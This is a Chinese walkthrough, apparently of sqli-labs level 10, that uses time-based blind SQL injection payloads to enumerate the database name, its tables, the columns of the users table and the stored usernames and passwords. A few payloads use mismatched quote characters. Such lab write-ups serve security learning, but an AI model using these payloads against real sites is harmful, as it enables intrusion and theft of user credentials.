目录
1.首先观察页面,发现提示id为参,我们尝试传参

我们尝试传参,观察页面是否有变化

发现有变化,我们尝试sql注入
2.判断注入类型
输入?id=1 and 1=2,判断是否为数字型注入,若语句生效,则为数字型注入,反之则不是。

我们发现页面无变化,初步判断不是数字型注入,接下来我们输入?id=1' and 1=2--+,观察页面是否有变化,如果有变化即为字符型注入,反之,我们需要继续查看。

页面没有发生变化,我们来判断闭合方式。发现无论如何都不会发生变化,初步判断是时间盲注,我们来验证一下。

发现无延迟,判断不是数字型注入,接下来我们尝试字符型注入。

这里我们需要判断一下闭合方式。

有延迟,我们可以得出其闭合方式为”。
3.判断数据表的列数
我们输入?id=1" and sleep(5) order by 3--+ 来判断其有多少列


我们发现值为3时可以页面有延迟,但是当值为4时,页面无延迟,所以我们判断其共有三列。
4.判断数据库名
输入?id=1" and if(substr(database(),1,1)='a',sleep(3),1)--+来判断数据库的第一个字母是否是a

发现无延迟,由此我们可以得知其不是a,我们进行枚举,最终得到数据库名security。
5.判断表名
接下来我们寻找数据库表名,使用语句?id=1” and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+来判断security的第一个表的第一个单词是不是a

通过枚举,最终得到第一个表名email,如法炮制,即可得到所有表名。
第二个表名为referers
第三个表名为uagents
第四个表名为users
6.查看其所有字段的名字
我们使用?id=1” and if(substr((select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 0,1),1,1)='a',sleep(5),1)--+来判断users表的第一个字段是否为a

通过枚举,我们得到了id,如法炮制
这样一来,我们便可以得知有三个字段,分别为id,username,password。
7.查看表中的所有数据
这里我们使用语句?id=1' and if(substr((select username from users limit 0,1),1,1)='a',sleep(5),1)--+来对username列中的第一个值进行判断,观察其是否为a

通过枚举,我们得到第一个用户名dump,接下来的操作与前面无异,可一直获取用户名。而对于密码,我们只需将username字段改为password即可获得密码,这里就不一一展示。到这里,我们就得到了数据库的全部敏感信息,第十关结束!

1175

被折叠的 条评论
为什么被折叠?



